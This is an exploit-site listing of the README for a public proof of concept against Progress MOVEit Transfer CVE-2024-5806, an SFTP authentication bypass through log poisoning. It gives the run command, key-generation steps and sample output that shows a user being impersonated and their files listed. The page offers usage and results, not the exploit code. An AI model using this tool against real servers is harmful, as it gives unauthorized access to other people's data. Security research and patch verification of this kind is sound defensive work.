Sploitus

Exploit for watchTowr-vs-progress-moveit_CVE-2024-5806

kitploit · 2026-08-26

Exploit Code

MARKDOWN73 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-WATCHTOWRLABS-WATCHTOWR-VS-PROGRESS-MOVEIT_CVE-2024-5806
# CVE-2024-5806

Эксплойт для Progress MOVEit Transfer CVE-2024-5806. Смотрите наш пост в блоге по адресу [TBD].

# PoC в действии

`--help` — для, ну, помощи. Типичный запуск должен выглядеть так:

root@kitploit:~
    
    
    > python CVE-2024-5806.py --target-ip 192.168.1.1 --target-user user2 --ppk id.ppk --pem id
                             __         ___  ___________
             __  _  ______ _/  |__ ____ |  |_\__    ____\____  _  ________
             \ \/ \/ \__  \    ___/ ___\|  |  \|    | /  _ \ \/ \/ \_  __ \
              \     / / __ \|  | \  \___|   Y  |    |(  <_> \     / |  | \/
               \/\_/ (____  |__|  \___  |___|__|__  | \__  / \/\_/  |__|
                                      \/          \/     \/
    
            CVE-2024-5806.py
            (*) Progress MoveIT Transfer SFTP Authentication Bypass (CVE-2024-5806)
              - Aliz Hammond, watchTowr (some-email@example.com)
              - Sina Kheirkhah (@SinSinology), watchTowr (some-email@example.com)
            Note: We (watchTowr) aren't the original discoverers of the bug, we just reproduced it and wrote the exploit
                  in order to enable proactive protection of client attack surfaces.
                  We will update with proper credit when available.
            CVEs: [CVE-2024-5806]
    
    (*) Poisoning log files multiple times to be sure...
    ..........OK
    (*) Waiting 60 seconds for logs to be flushed to disk
    (*) Attempting to authenticate..
    (*) Trying to impersonate user2 using the server-side file path 'C:\MOVEitTransfer\Logs\DMZ_WEB.log'
    (+) Authentication succeeded.
    (+) Listing files in home directory of user user2:
    
    -rw-rw-rw- 1 0 0 1.4M Jun 11 11:39 stocks.xlsx
    -rw-rw-rw- 1 0 0 2.4M Jun 13 13:32 customer_list.xlsx
    -rw-rw-rw- 1 0 0 2.3M Jun 15 12:16 payroll_Jun.csv
    -rw-rw-rw- 1 0 0 1.2M Jan 21 10:03 my_signature.png
    -rw-rw-rw- 1 0 0  304 Jun 17 17:29 passwords.txt
    

# Установка

Для запуска эксплойта вам понадобится ключевая пара в обоих форматах PEM и PPK. В Windows вы можете использовать `puttygen` для генерации этих файлов. В Linux вы можете использовать пакет `openssh` и `putty-tools`. Просто нажимайте Enter при запросе ключа.

root@kitploit:~
    
    
    $ sudo apt-get install openssh-client putty-tools
    $ puttygen -t rsa -b 2048 -o putty_key.ppk
    Enter passphrase to save key:
    Re-enter passphrase to verify:
    $ puttygen putty_key.ppk -O private-openssh -o id_rsa
    

# Затронутые версии

Эта уязвимость исправлена в Progress MOVEit версии `2024.0.2`.

# Авторы эксплойта

Этот эксплойт написан Aliz (@AlizTheHax0r) и Sina Kheirkhah (@SinSinology) из watchTowr (@watchtowrcyber)

# Следите за watchTowr Labs

За последними исследованиями в области безопасности следите за командой watchTowr Labs

  * https://labs.watchtowr.com/
  * https://twitter.com/watchtowrcyber
  * [ссылка на блог TBD]